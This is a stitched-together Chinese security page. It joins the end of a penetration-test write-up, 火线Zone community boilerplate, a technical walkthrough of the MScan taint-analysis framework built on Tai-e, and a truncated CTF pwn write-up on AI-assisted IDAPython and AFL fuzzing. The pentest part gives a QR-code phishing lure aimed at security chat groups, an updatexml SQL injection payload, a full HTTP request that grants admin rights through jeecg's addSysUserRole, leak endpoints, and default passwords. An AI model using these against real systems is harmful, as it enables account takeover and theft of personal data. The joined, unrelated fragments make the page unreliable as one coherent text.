这次我在测试过程中碰到了OAuth2.0漏洞,是一个企业的微信公众号和一个带宣传性的一个登陆管理网站存在的这个漏洞,直接存在二维码不需要二次确认扫描,目前已经被修复了,但是那种漏洞的站点很明显,截屏那个网站的logo打码也看的出来

所以这里直接给师傅们分享下我之前写的一篇关于OAuth2.0漏洞的文章,在先知社区原创的文章:https://xz.aliyun.com/news/16153

简单案例分享

简单来讲就是在登录过程中,比如可以使用第三方应用授权登录,且扫描二维码登录不需要确认校验,直接扫码即可登录,那么就可以使用二维码钓鱼之类的危害,就是文章开头的描述的百度案例一样。

这里进入后台,然后有一个使用微信绑定,扫描二维码的功能

点击立即绑定,然后就会弹出来一个二维码,那么我们就可以拿这个二维码进行一个钓鱼欺骗,让别人扫描二维码,从而绑定别人的微信号

就跟我上面的一个,搞一个钓鱼的二维码模板,然后往一些网安群里面一发,说什么小白免费领取网安教程,只需要扫描此二维码即可(肯定有人扫的)

0x6 jeecg泄露漏洞

一、jeecg框架简介

JeecgBoot是一款基于AIGC、BPM和低代码引擎的AI低代码平台,旨在帮助企业快速实现低代码开发和构建个性化AI应用!前后端分离架构Ant Design&Vue3,SpringBoot,SpringCloud Alibaba,Mybatis-plus,Shiro。强大的代码生成器让前后端代码一键生成,无需写任何代码! 引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE, 帮助Java项目解决80%的重复工作,让开发更多关注业务,快速提高效率 节省成本,同时又不失灵活性!低代码能力:Online表单、Online报表、大屏/仪表盘设计、表单设计、流程设计、报表设计;AI能力:AI应用平台+知识库问答、AI模型管理、AI流程编排、AI聊天、AI建表等,支持各种AI大模型ChatGPT、DeepSeek、Ollama等.

jeecg官网如下:

https://www.jeecg.com/

二、jeecg综合漏洞利用工具

这里先给新手师傅们分享个还不错的jeecg漏洞利用工具,首先这个工具书GUI图形化工具,还有就是这个工具更新了很大jeecg的历史nday漏洞在里面,使用操作简单

工具下载链接:https://github.com/MInggongK/jeecg-

这里给师傅们演示下,直接把可能存在jeecg漏洞的url导入目标中,然后选择ALL模块,进行检测即可

三、从小程序到web端接口泄露

好了,这里废话不多说了,这里回归这次渗透测试项目中来,再次给师傅们分享下这个漏洞,因为有些刚接触网安的师傅还没有接触这个漏洞,所以这里给大家分享下,这次jeecg漏洞通过以前保留的一些jeecg测试手册,一些jeecg的接口和bp数据包,像这样的jeecg框架系统,都是可以直接拿来测试

1、首先,这个系统漏洞还是小程序,直接搜索对应资产小程序名称,这个系统是该市里面的一个大学的缴费系统

2、打开微信小程序,首先我会直接去打开bp抓包,然后这里随便点击里面的功能点,然后进行看里面的数据包

然后去翻里面的历史数据包,师傅们可以看到下面的table关键字

这个tableNane关键字让我感到兴趣,是因为开发人员在一些做接口命名的时候,不会随意取名称,他这个接口后面的tableNane=xxxx,这里我直接去拿table表名出线多的去尝试猜测下

这里我尝试了几个,但是都没有出信息,还尝试了information_schema.tables表名,都没有什么数据回显

然后我这里还尝试直接把表名置空,但是依然没有什么敏感数据回显

3、这里直接把小程序数据包中的host域名和端口,直接放到web端去访问,然后再尝试别的测试

4、这里使用findsomething插件,去跑下web页面泄露的接口,这里把收集到的接口放到一个1.txt的文件中

5、这里师傅们要是没有思路,最简单的就是就可以直接把findsomething插件泄露的接口利用bp的POST和GET方法都跑一遍即可。但是这里我需要找找我保存的接口里面有没有泄露跟tableName相关的

6、通过findsomething插件,得到了好几个tableName的接口,然后直接使用bp去访问,发现一个接口直接泄露了四百多个数据表格名称

然后每个表里面都泄露了好几百个个人敏感信息,比如身份证、手机号、姓名之类的

四、SQL注入漏洞

这个小程序的一个接口还存在SQL注入漏洞,通过测试,直接可以注入出数据库名称,直接又一个SQL注入到手了

SQL注入payload:updatexml(1,concat(0x7e,user(),0x7e),1)

五、提权操作

师傅们,其实测试到这里,这个系统小程序和web端都摸熟悉了,就是jeecg的系统框架,里面的很多接口都是jeecg开发默认的接口名称,但是前面的路径发生了一点变化,没有原班直接拿jeecg的接口使用,但是经过FUZZ测试出来了很多接口,这里给师傅们分享下,我先注册一个账号,然后提权到admin管理员账号的过程。

首先我使用register注册接口,注册一个账号

下面就是提权的一个操作了,需要再次FUZZ接口,因为打jeecg漏洞多的师傅们,都知道,jeecg有很多的接口,像什么注册、查信息,查user_id,查所以账号的token值,还有用户敏感信息等,但是现在很多系统都不会直接拿jeecg都路径接口部署了,多多少少会进行魔改

这里首先需要查询管理员admin的账户ID

然后查询自己刚才创建用户的ID值

然后使用打提权使用的jeecg漏洞poc,如下:

//roleld填写需要提权的角色id userldList填写自己的id

POST xxxxx/jeecg-boot/sys/user/addSysUserRole(jeecg接口,需要自己去尝试,不一定是我这个) HTTP/1.1
Host: 
Cookie: cna=Ov9SH4RxGiACAf////9C18zb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjUzNzMyNDMsInVzZXJuYW1lIjoiMTEwMTAyIn0.NXRckymfKdZvEFsDQZ9Jwvk_rU_gVny2Rx6A
Tenant-Id: 0
Origin:
Dnt: 1
Referer: 
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: close
Content-Type: application/json
Content-Length: 96

{
"roleId":"xxxxxxxxxxx",
"userIdList":[
"xxxxxxxxxxxxxxxx"
]

}


这样就成功创建了这个系统的admin管理员的账户了,后面的思考就是直接使用创建的账户密码,去尝试爆破登陆其他系统

六、其他jeecg小技巧

下面再给大家总结下jeecg的其他打法小技巧

一、常见的接口敏感信息泄露:

/v2/api-docs
/swagger-ui.html
/env

//获取参数信息
/actuator
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/httptrace

二、常见jeecg框架接口关键字:

像看到下面的几个关键字,首先需要想到使用jeecg去打,因为很多现在直接把jeecg关键字给魔改了

jeecg/

api/sys/

sys/user

三、jeecg的几个常用弱口令:

可以使用下面的弱口令去尝试爆破下登陆接口

admin:123456

jeecg:123456

0x7 总结

然后还有很多其他的漏洞,这次文章就不一一给师傅们分享了,留着下次有时候给师傅们分享,这次写这篇文章由于之前的渗透测试项目漏洞都修复 了,我才写的这篇文章,所以实属不易,为了给师傅们演示的那么细致,特意去网上现找了一些漏洞实操截图给师傅们,因为之前的漏洞报告没有写的那么详细,这里怕新手师傅看不懂。

这次渗透测试总共提交了四五十个漏洞报告,其中包括很多框架系统的默认弱口令,这个确实让我蛮意外的,还有一些网上的nday,这里面有些老系统也存在,因为测试的资产比较多,所以相对来讲出洞率较高。

最后,希望看完这篇文章的你,也可以挖到心仪的漏洞!

火线Zone是由火线安全平台打造的安全技术专家聚集和交流的社区,旨在推动数智时代的安全生态。

通过火线Zone内容社区、火线技术沙龙等形式,为技术专家提供最前沿的技术分享和交流。目前,火线Zone社区成员已超过20000人的规模,其中不乏来自腾讯、华为、Gitlab、绿盟、去哪儿等知名企业的CTO、CISO、安全VP、安全技术专家等,通过社群和活动讨论交流安全攻防、黑客溯源、企业安全管理、安全运营、软件应用安全、云计算安全等方向技术话题。

截止目前,火线Zone累计举办公开的技术交流活动27场(点击查看)、技术内容超过2000篇、10余个城市举办线下交流活动,全方位促进社区成员与企业之间的学习、交流与合作,为安全从业者提供全新思路,共同探讨行业未来发展之路。

在这里,我们重视每一位成员的声音!火线Zone现在诚挚邀请您加入我们的数智安全社区,分享自己经验,和大咖共探数智安全未来。

投稿须知

欢迎您向火线Zone投稿,分享您的知识和经验。为了确保您的稿件能够顺利通过审核并发表,请您仔细阅读以下投稿指南:
投稿文章内容方向包括并不仅限于以下方向:

  1. 应用安全:当年最新的漏洞分析、安全预警及最新的测试技巧,并具备广泛影响性。
  2. APP安全:针对APP、小程序的实战对抗、逆向分析、隐私合规等实战评估及测试方法论内容。
  3. AIOT安全:针对可穿戴设备、安防设备、智能家居、汽车、工业设备等硬件设备的逆向分析、漏洞挖掘的实战评估和测试方法论内容
  4. 黑客事件:针对DDOS、勒索病毒、APT攻击等实战黑客攻击的完整事件溯源分析以及威胁分析的方法论。
  5. 红队攻防:针对中大型企业的真实攻防案例,具备防御机制绕过、内网横向、公有云横向等环节内容
  6. 安全运营:针对基础安全、开发安全、办公网安全、安全托管运营等安全运营方向的实战落地内容
  7. 其他:前沿领域安全研究,如大模型安全、AI应用安全等

希望你的文章质量满足以下要求:

  1. 提供深入的分析和独到见解,揭示未公开的新内容。
  2. 全面总结某一领域知识,可作为参考手册。
  3. 确保内容已授权且完全脱敏,遵守法律法规,不涉及非法安全测试。
  4. 文章篇幅需要符合深度分析的篇幅要求,具体篇幅长度视内容类型审核

审核流程说明:

  1. 投稿后,若15天内未收到发表通知,您可自行决定是否向其他平台投稿。我们反对一稿多投,一经发现,将不予审核通过。
  2. 火线Zone不提供稿件退回服务,请作者自行备份原稿。
  3. 对于非原创、抄袭、洗稿或未遵守转载规则的稿件,我们将进行删除处理,并取消任何奖励,同时发布违规公告。

如何投稿

  1. 在线投稿
    (注:为方便查看稿件审阅进度,请优先选择在线投稿方式)
    进入火线Zone[https://zone.huoxian.cn/]>点击左上方【发布主题】-> 在文章开头添加#应用安全#等文章类型标签。
    文章稿件支持Markdown格式,文章发布后,社区管理员将对其进行审核并进行精华优选,请耐心等待审核。
    没有火线Zone账户的用户,可前往火线Zone注册申请加入。
  2. 邮件投稿
    您也可以将文章或稿件发送至zone@huoxian.cn
  3. 稿件疑问
    欢迎添加火线安全小助手,投稿问题可随时咨询。

投稿奖励

  1. 基础奖励:如果您未有火线安全平台认证邀请码,文章通过后你将获取到邀请码一枚,可以来注册成为火线白帽子参与平台漏洞悬赏项目。
  2. 基础奖励:文章如审核通过即可获普通文章奖励(50查克拉积分),可用于兑换火线安全商城的礼品
  3. 优秀奖励:文章内容符合社区征稿意向,内容充实有新意可获优秀文章奖励(50查克拉积分 + 500RMB)。
  4. 精华奖励:最新的事件分析和安全预警,分享业内前沿最新技术、 0day 分析与利用、个人安全开发研究新成果 等方面的奇技淫巧、心经等可获加精文章奖励((100查克拉 + 1000RMB)。
  5. 精华奖励:发布文章并获取精华标签后,可以直接加入渗透测试、APP安全、IOT安全、威胁情报、红蓝对抗等相关领域核心众测群,参与平台私密众测项目。
  6. 无奖励:内容深度较浅或网上有一定公开类似、单纯的工具介绍使用则不予奖励。

内容奖励要求:

  1. 基础奖励在内容符合要求的前提下,阅读量不做要求
  2. 优秀奖励在内容符合要求的前提下,阅读量当月突破500
  3. 精华奖励在内容符合要求的前提下,阅读量当月突破1000(内容质量较高不受此条件限制)

奖励将在每月第一周公示并发放至火线安全平台账户,可在火线安全平台申请提现。
PS:文章通过后请联系“火线小助手”加入火线Zone创作者群,与其他创作者一起思想碰撞!

转载说明

为了维护原创作者的权益,确保内容的合法传播,特制定以下转载规则。在您希望转载火线Zone社区的文章时,请务必遵守以下指南:

  1. 版权声明:在您的平台上转载文章时,请明确标注【原文来自火线Zone、原文作者以及原文链接】。
  2. 转载声明:请在文章的显著位置注明以下声明:“本文经火线Zone授权发布,转载请联系火线Zone社区。”
  3. 内容修改:您可以对文章标题和内容进行适度修改,以适应您的平台风格,但请确保不改变文章的核心观点和主旨。
  4. 公众号转载:若您希望在微信公众号上转载,请先通过火线Zone社区的官方渠道申请授权。获得授权后,请在文章开头注明公众号信息,并在文末附上转载声明。
  5. 责任归属:转载文章产生的任何版权纠纷,由转载方自行承担。请尊重知识产权,未经授权的转载行为将被视为侵权。
  6. 独家代理:如果您是文章的原创作者,并且希望火线Zone作为您作品的独家代理,请在投稿时声明,并确保作品未在其他平台发布。
  7. 版权保证:投稿者需保证拥有所投稿件的完整著作权,并授权火线Zone及其关联平台进行发布和传播。
    我们期待与您共同维护一个尊重原创、鼓励分享的社区环境。感谢您的理解和支持!

加入社群

火线Zone已经开启外部粉丝社区群和城市技术社群,大家可在群内进行技术交流,但严禁发表与技术无关的和讨论政治相关内容

添加“火线小助手”,并发送以下关键字加入社区
并发送“社区群”可以加入火线Zone社区技术群
发送“同城群”可以加入火线Zone城市分群

向WooYun Zone、Drops致敬

:)


Intro

Tai-e作为一个优秀的静态分析框架,内置了指针分析、污点分析等等实现。为增强其作为一个底座框架的可扩展性,其提供了插件系统,通过插件系统可以控制在静态分析过程中的各个阶段的数据处理,更进一步的进行定制化分析的实现。如下图为Tai-e官方提供的有关于插件系统的原理图:

image.png



本文中提及的有关于微服务应用的静态分析框架MScan同样是基于Tai-e进行实现的,针对微服务应用中使用的一些特殊的API进行服务间的高速通信过程,传统的静态分析方式不能够原生支持该类服务间通信的污点流的传播,但是这里采用了上面介绍了插件系统的方式,为服务间的通信过程进行建模,定制化的支持该过程的数据流分析,例如是Grpc、Dubbo或者Feign等通信方式。

具体的分析因篇幅太长分为了上下两篇,上篇主要集中于理论层面的代码分析,剖析基于Tai-e框架的改造细节,明晰从source点提取到扩展的污点分析引擎工作原理的全流程。而下篇主要集中于实战层面的内容,在剖析微服务应用各服务间的通信建模方式,也即如何构建一个SDG(Service Dependence Graph),同时贴近实战批量拉取github\gitee高star项目进行自动化`clone-complie-scan`全流程。

Jar parser

首先这里设置了缓存机制,通过配置文件中的Config.reuse来控制是否使用缓存,如果不使用上次解析jar后的缓存则将对应的targetPath中记录的缓存信息进行删除



之后就是对于给定的jars包的处理过程,遍历给定的Jar列表依次进行service discovery以及类提取



1 首先来看parseSerive如何从目标Jar中获取service name的



a 首先是通过解析目标jar包中的pom.xml文件去得到对应的service name

其功能实现的核心基于以下几点

通过遍历jar包的所有文件获取到以"bootstrap", "application", "entry"开头,"yml", "yaml", "properties"结尾的配置文件

筛选出文件中带有application:关键字符串标识的配置文件

在获取了包含有service name的配置文件之后,使用snakeyaml进行配置文件的解析,获取其中spring.application.name对应字段的值

这里还做了except处理,如果使用上述的解析yaml文件的方式不能够获取到service name时,则将artifact id作为service name

具体是遍历目标jar中包含的所有的pom.xml文件,创建一个XML解析器对pom.xml文件的内容进行解析,获取其中的artifactId字段进行返回

b 其次是根据在配置文件中预设定的Config.classpathKeywords去决定我们关注的class代码,避免引入了过多的第三方jar包的类造成过多的无效分析

c 最后就是对路由的配置进行解析

其核心实现同样可以归纳为以下几点步骤

首先是检查是否在配置文件中指定了待检测项目的路由配置文件Config.routeConfigFile,若已经明确制定了,直接进行获取并返回即可

如果没有指定,类似于前面提到了获取所有配置文件的方式,筛选路由配置文件,这里支持有Sprint Cloud gateway以及zuul的路由配置方式

遍历jar包的所有文件获取到以"bootstrap", "application", "entry"开头,"yml", "yaml", "properties"结尾的配置文件



d 最后的最后就是维护了GatewayParser.routeConfigFiles以及GatewayParser.services去记录扫描到的所有路由配置文件以及services

1 如果在配置文件设置了进行上轮类抽取的重复利用,也即是Config.reuse,则直接跳过提取jar中类文件的操作,否则,就直接对所有类提取到目标文件夹下



Gateway parser

在微服务应用中,对于路由的解析是基于前面jar parser过程中扫描到的路由配置文件



其大概的实现逻辑如下

1 遍历扫描到的路由配置文件,读取配置文件信息

同样通过snakeyaml进行配置文件的解析,这里分为了两种两类不同的API网关进行针对性的解析

2 对于zuul这类的API网关



a 其将zuul.routes作为前缀获取路由信息

b 根据具体的zuul配置内容获取对应的path路由信息以及service-id对应的子服务对象,并对路径进行了有效处理

1 而对于Spring Cloud Gateway这类API网关



a 根据这类API网关的配置规则,将spring.cloud.gateway.routes作为前缀来获取路由信息

b 遍历获取的路由列表,获取对应的uri,根据uri信息去获取对应的service name

c 从配置文件中获取predicates以及filters用来确定路由的路由信息以及通过filters中的配置来确定是否需要跳过路由中的第一级路由



MScan

options.yml

在经过了前面的目标jar的解析以及路由的识别后,运行经过二开后的tai-e进行核心的指针分析以及污点分析,这里传入了一个options.yml配置文件

可以对照着tai-e得官方文档明白参数的作用

https://tai-e.pascal-lab.net/docs/current/reference/en/index-single.html

几个关键点参数

1 javaVersion: 8使用JDK8下的依赖库进行分析

2 prependJVM: false这个参数用来标识是否使用运行tai-e的JDK的依赖库进行分析,如果置为true,则将会抑制javaVersion的设置

3 analyses这个参数用来指定在tai-e-analyses.yml中定义的一些分析,例如指针分析、调用图构建等等从MethodAnalysis、ClassAnalysis、ProgramAnalysis三中层面的基础上实现的分析

转回到这里options.yml针对于pta的配置

pta: taint-config:src/main/resources/taint-config.yml;only-app:true;implicit-entries:false;dump:false;time-limit:1200000;cs:4-call;advanced:pruning;plugins:[fdu.secsys.microservice.plugin.GatewaySourcePlugin,fdu.secsys.microservice.plugin.OpenFeignPlugin,pascal.taie.analysis.pta.plugin.taint.EnhanceTaintAnalysis]

首先在tai-e中的tai-e-analyses.yml中对pta的可选择的参数进行了说明

这里的pta配置大致分为了以下几点

a 配置了taint-config路径,用来启用taint-analysis以及指定污点分析的配置文件(包括有sources/sinks/sanitizers等)

b only-app:true,仅仅只分析application code,也即是只分析-acp指定的代码

c time-limit:1200000,设置了程序分析的超时限制,默认是-1也即是不存在超时

d cs:4-call,对于context-sensitivity analysis其选用了4-call-site方法,根据调用点作用上下文的划分,当然,因为这里使用advanced:pruning所以一定程度上抑制了cs的配置

e advanced:pruning,基于tai-e作者的四篇论文,实现了四种advanced analysis


Zipper-e (option value: zipper-e): introduced in our TOPLAS'20 paper.

Zipper (option value: zipper): introduced in our OOPSLA'18 paper.

Scaler (option value: scaler): introduced in our FSE'18 paper.

Mahjong (option value: mahjong): introduced in our PLDI'17 paper.


而对于这里配置的pruning为自定义的内容,这里实现的是论文提及到的distance-guided的上下文敏感层级选择策略,核心是根据分析方法与source-to-sink路径的接近程度调整上下文敏感性程度,从而将更多的精力和资源集中在安全关键分析上,后续对其进行详细的分析



f plugins:[fdu.secsys.microservice.plugin.GatewaySourcePlugin,fdu.secsys.microservice.plugin.OpenFeignPlugin,pascal.taie.analysis.pta.plugin.taint.EnhanceTaintAnalysis], 用来添加一些自定义实现的插件

feature based application

对于tai-e的插件系统,表示的是实现了Plugin接口的一群类,这里只分析Mscan二开的一些插件实现,不对tai-e原生的插件进行分析



该接口实现了一些在指针分析的生命周期中的一些回调接口,包括有如下

1 onStart: 在进行指针分析之前进行调用,可以进行指针分析的准备工作或者初始化插件

2 onFinish: 在指针分析结束之后被调用,可以对指针分析的结果进行筛选整理,但是不能修改指针分析的结果

3 onNewPointsToSet: 当存在有新的指针集指向时被调用

4 onNewCallEdge:当一个新的调用边被检测到时进行调用

5 onNewMethod:当一个新的可达方法被发现时进行调用

6 onNewStmt:当遭遇到一个新的代码语句时被调用

7 onNewCSMethod:当一个新的可达的上下文敏感的方法被发现时被调用(区分前面提到的正常方法)

8 onUnresolvedCall:当指针分析过程中对于callee的解析失败时调用该方法,例如在一个函数调用过程中,tai-e中的callsite中记录了本次被调用的callee是哪一个,但是该类并没有通过acp或者cp等参数进行加载,导致没有被soot进行分析,所有tai-e并不能够正常解析这样的callee

GatewaySourcePlugin

这个类是用来进行入口点的识别的,核心是依赖于fdu.secsys.microservice.plugin.gateway.EndpointHandler

该类实现了onStart方法,以及维护了endpoints在进行指针分析之前进行入口点的识别



其具体的实现可以来到EndpointHandler#getEndpoints方法



其实现可以归纳为以下步骤

1 首先,每一个入口点都被抽象成一个Endpoint对象,其包含有方法名、路由、在微服务中是否暴露在外、该入口点相关的service名等



2 首先是对进行指针分析之前通过LLM对gateway配置进行解析后的结果进行解析,获取根据网关配置文件得到的外部可访问以及内部可访问的接口列表



3 之后遍历所有得applicationClasses类,根据对应得注解信息去判断路由信息,进而获取到所有得endpoint

具体细节分为下面几个步骤

a 首先使用FeignUtil#getFirstMapping方法去获取在class上注解的路由信息,核心逻辑位于FeignUtil#getMaapings方法,其通过FeignUtil#isMapping方法筛选需要的注解,这里支持通过jax-rs以及Spring两种规范的URL注解方式,同时值得注意的是实现了如果在当前方法中没有找到注解,会尝试去该方法的多级父类的对应方法中去寻找



b 其次在获取了一级路由也即是class上标注的路由信息后,去审查该类所有的方法是否满足Spring以及Jax-rs对于路由的规范,进而去获取对应method上标注的路由信息,也即是二级路由信息



c 后面就是组合类信息、方法信息、路由信息、路由对外暴露情况构建Endpoint对象实例,如果是存在有网关配置文件,通过路由的正则匹配,如果路由属于external_entries类,则将该Endpoint中的isExposed置为true,默认将其置为true,防止静态分析出现漏报。同时如果不存在有配置文件,则通过service名去判断是否路由暴露在外





EnhanceTaintAnalysis

该污点分析插件是按照tai-e原生的污点分析插件TaintAnalysis进行实现的一个增强版的污点分析实现,Mscan这里运行了这两套污点分析

setSolver方法在插件添加时执行



1 在进行插件的初始化过程中将会对taint-config.yml配置文件进行解析,这里对于配置文件的解析使用了jackson进行解析,使用的反序列化器用于获取配置文件中的call-site-mode以及enhance_sinks信息,构建一个EnhanceTaintConfig对象进行返回





2同时添加了一系列和污点分析有关的插件

其污点分析的核心逻辑都是由其各个子插件进行实现的,仅仅在程序分析结束时,调用onFinish进行污点传播流路径的整理



其核心逻辑主要是基于collectTaintFlows的实现,该实现的大致逻辑如下步骤

1首先获取到指针分析的结果

2 然后遍历指针分析所构建的调用图检索所有reachable函数调用点,筛选出其中调用有sink方法的可达方法,进而构建了一个SinkPoint对象用来存储该调用点



3 后续调用checkTaint方法检查污点传播情况

a 从指针分析结果中获取sink点关键参数的指针集并遍历,如果其是一个taint-obj则直接返回该对象,这里的taint-obj表示存在由外部可控的位置能够控制这里的对象,如果其不是一个taint obj则判断其是否是一个数组对象,若是一个数组对象则判断这个数组的元素是否存在有taint obj



b 随后利用这里获取的taint obj从污点管理器中获取对应的SourcePoint位置,构建一个从sourcePointsinkPoint的污点传播流



4 针对于使用result为污点结果的sink规则,如果存在由对应的调用,将会遍历该方法所有的返回值,构建一个SinkPoint对象,标注了excludeSourceParamAnno以及excludeCallSource并进行污点传播的检查



5 在根据上述的逻辑完成了污点分析的逻辑之后,对分析的结果进行二次验证,检验是否存在一个完整的通路从sourceMethodsinkMethod使得其为一个有效的taintFlow这里核心是使用广度优先遍历的算法进行调用链的查找,从指针分析的结果CallGraph检索是否存在完整的调用链,将存在有完整调用链的taintflow进行返回



6 后续则是根据taintFlows的结果进行污点流图的dump操作,将污点传播路径通过.dot文件的格式进行保存,方便可视化展示

SpringController

该插件作为污点分析插件的一个子插件,用来构建source点的污点入口



在静态分析遭遇新方法时触发onNewCSMethod事件

1 首先基于注解的方式判断该类是否是一个Controller

2 其次通过参数类型的检查,判断该参数是否可以被外部可控,但是这里有点小疑问,这里将safeClass中存在的参数类型作为一种外部不可控的类型,但是感觉HttpServletRequest这类类型一定程度上也是可控的,例如通过request.getParamter等函数进行外部数据的获取,也会造成外部可控的情况,所以这里的规则可以进行完善



3 对每一个可控的参数位置构建一个ParamSourcePoint对象,并将其作为一个taint,特别的,这里也会对参数所在classfields归类为一个taint,并通过addPointsTo添加对应的指针集,并且也支持对controller param所在类的父类所有fields以及fields所在类的fields归类为一个taint,递归的最大深度为4,这里主要是处理的是,现在基于Spring MVC的开发模式来讲,一个controller方法传入的参数通常是一个类对象,其中的每一个field对应的就是可传入的具体参数名。

MiscPlugin

这个插件主要是用来处理upload上传逻辑的污点传播

对于每一个invoke语句审查其是否调用的sigs中存在两类upload函数,则通过addVarPointsTo向该调用点的base变量指向一个指针集,这个指针集包含有其子类所有的upload方法



MybatisXmlPlugin

该插件主要是用于解决在mybatis这类ORM框架对于SQL注入攻击类型的识别,这里仅仅支持未进行预编译的识别,未对复杂的order by等语句的攻击进行识别

在静态分析程序未开始时触发onStart事件进行mybatis mapper文件的解析,并实时封装sink点添加到sink规则中



其大致通过以下逻辑进行sink点的动态生成

1 遍历在jar parser处理阶段筛选的所有XML文件,调用submitFileProcessing进行多线程处理,核心的逻辑存在processXMLMapper方法中

2 processXMLMapper方法中,对XML文件的内容进行了XML解析,根据mapper xml文件中定义的sql语句,将其抽象成一个sql语句字符串后通过正则匹配的方式检索sql语句中是否存在有${}包裹的内容

其包裹的内容则为可注入的点,在完成injects可注入点的获取后,根据xml文件中的namespace以及id去获取所对应的Class对象以及Method,根据injects的信息完成对注入点的识别,返回一个method-injectPos方法到注入点索引的映射

最后完成动态sink的封装



上述内容为静态分析过程开始前动态生成有关于mybatis这类ORM框架的sink,而该插件在遭遇新的方法时将会触发onNewCSMethod事件,该事件的作用主要是构建一个select查询语句调用函数的参数变量到该查询返回变量的一个映射selectArgResultMap



同时在指针集存在变化时同样会触发onNewPointsToSet事件,其作用分为了两部分

1 遍历对应变量的指针集,将其指向的taint obj以及指向类的所有fields中所有指向的taint obj添加到taintObjs

2 遍历调用了select查询语句的所有返回结果变量resultVars,将污点传递到了返回的结果信息,构建了一个新的污点对象newTaintObj,并使用addPointsTo函数将污点对象指向结果变量,完成在mybatis场景下的污点传播











SpringContainer

这个插件作为污点分析插件的子插件,主要是用于解决在Spring框架下的动态注入的机制,类似于基于注解的对象动态注入静态分析方法并不能够对其所指代的对象进行识别,就需要通过定制化的方式将对应的对象指向给补全

1 首先基于Controller等注解获取所有的入口类,并通过addEntryPoint为整个程序分析添加入口点 (GatewaySourcePlugin只是最所有Source类进行了聚合并没有添加程序分析入口,整个mscan的分析入口是在SpringContainer中添加的)其中的识别方式支持有Jax-rs、Spring



2 同时,在这个过程中也会进行java bean的识别,在Spring中Bean类的创建有多种形式,例如Controller对类进行注解,利用Serivce进行注解等等方式,将每一个Bean类抽象成一个SpringBean对象

如果注解中存在有明确的bean name则将其作为Springbean对象的name值,默认直接采用类名称的缩写

3 之后就是进行需要动态注入的fields以及params的信息的收集对于fields,其检查所有的SpringBean类及其父类中存在Resources等注解的字段,存储需要动态注入字段到diFieldInfos,其key值存储的信息是带注入字段的class-field,其value值存储的信息为field所标注的各种信息



4 而对于fields的动态注入则是分为两类,若没有指定类名的话,则通过类继承关系从BeanClass中获取该field的子类,若指定了类名,则直接使用ByName的方式获取BeanClass,在得到了对应的fieldBean之后会将fieldBean类对象指向field的指针集,同时如果对应的Springbean存在有返回变量,则在指针流图中添加一条从返回变量到field的边



5 而对于method的param的注入过程,同样是基于类继承的方式进行检索,不同是,这里的每一个method不论是构造方法或者是Bean注解标注的方法都可以作为一个程序分析的入口



Ref

https://tai-e.pascal-lab.net/docs/0.5.1/reference/en/index-single.html#how-to-develop-a-new-analysis-on-tai-e

https://ieeexplore.ieee.org/abstract/document/11023345


在很多比赛中,都是以代码量堆积起来的,这样题目需要有强大的逆向的能力,但是在大ai时代,我们可以让ai给我们极大程度的降低逆向分析的压力。

题目附件

通过网盘分享的文件:easypwn_b52bf495bea360db1e259c6827e703ed.zip

链接: https://pan.baidu.com/s/1pA49B0Jpb0FYAEKqSHe1Kg?pwd=aaaa 提取码: aaaa

--来自百度网盘超级会员v4的分享

Easypwn(典型的 bison/flex 生成的 parser:状态栈用 byte,语义栈用 8 字节槽位

这个题目及其复杂,我们通过这个题目学习一下现代ai逆向分析的辅。

技巧一:通过ai写idapython快速一键还原名称

其他的部分可以利用这个方式一键还原,这样就不用看a+的偏移

这里计算机模拟架构非常非常复杂 我们需要用idapython进行导入,要不太麻烦了

下面这个idapython可以直接导入我们需要的

Python

复制代码
import idc
import ida_kernwin

DECLS = r"""
typedef struct StreamCtx
{
void *fp;
unsigned char *buf;
unsigned char *ptr;
int cap;
int len;
int can_realloc;
int is_tty;
int unk40;
int unk44;
int unk48;
int buf_inited;
int slot_state;
int _pad5C;
} StreamCtx;

typedef struct OP_Ctx
{
int *nest_counter;
void *in;
void *out;
unsigned __int64 stream_index;
unsigned __int64 stream_cap;
StreamCtx **streams;

unsigned char ch_saved;
unsigned char _pad49[3];

int buf_valid;
int tok_len;
unsigned char *cur;

idapython使用中遇到的问题及解决

一开始遇到了ModuleNotFoundError: No module named 'ida_struct'这个问题

对于这个问题,我们首先确定我们这个模块有没有这个功能

import pkgutil
mods = sorted([m.name for m in pkgutil.iter_modules()])
print("ida_struct" in mods, "idautils" in mods, "idaapi" in mods)
print([m for m in mods if m.startswith("ida_")][:50])

你返回的结果非常明确:

ida_struct False

idaapi True

idautils True

并且模块列表里有 ida_typeinfida_idc 等,但就是没有 ida_struct

这个 IDA/IDAPython 版本把结构体相关能力主要放在 IDC API(idc.*)和 ida_typeinf/ida_bytes 等模块里了

然后我们把这里的信息喂给ai之后,就能给我写出来正确的idapython的脚本

idapython的使用实例二

下面给你一份 “一键还原已知信息” 的 IDAPython 脚本(兼容你这套 Python 3.11 + 没有 ida_struct 模块 的环境)。它会做三件事:

1 给你已知的全局表(byte_4068xx/word_4063xx)批量重命名(Bison 表 + Flex DFA 表)

2 尽量给这些表打上合理的数组类型(不要求知道确切长度)

3 (可选)把你已导入的 StreamCtx / OP_Ctx 的成员名改成更语义化的 Flex/Bison 命名(如果 idc.set_member_name 在你版本可用就会生效,不可用也不会报错)

你直接把脚本复制到 IDA 的 Python 窗口执行即可。执行完建议:F5 刷新反编译窗口,或者重开一下伪代码视图。

idaoython中的窗口的刷新

这个好像只能还原反汇编,不能还原反编译

这里需要关闭重启一下才行,重复这个步骤可以很快还原这个计算机的函数名称,结构体名称,而不用去手动一个个的去定义。

技巧二:fuzz输入测试(AFL)

这个题目fuzz测试没测出来异常,应该是我的用法的问题

下面这个是特定工具,限制的话是需要提前用这个fuzz进行编译

安装

下载AFL

编译

检测是否成功

运行

建目录 in/,放一些“语法合法”的短表达式:

run.sh

如果你有源码:优先用插桩编译(效果最好)

如果你只有二进制:用 QEMU 模式

-m none 是为了避免一些程序内存稍大导致 AFL 误杀。 -t 1000+ / 2000+ 是给 parser 足够时间(你后面可以再调回去)。

遇到的问题以及解决

解决环境问题

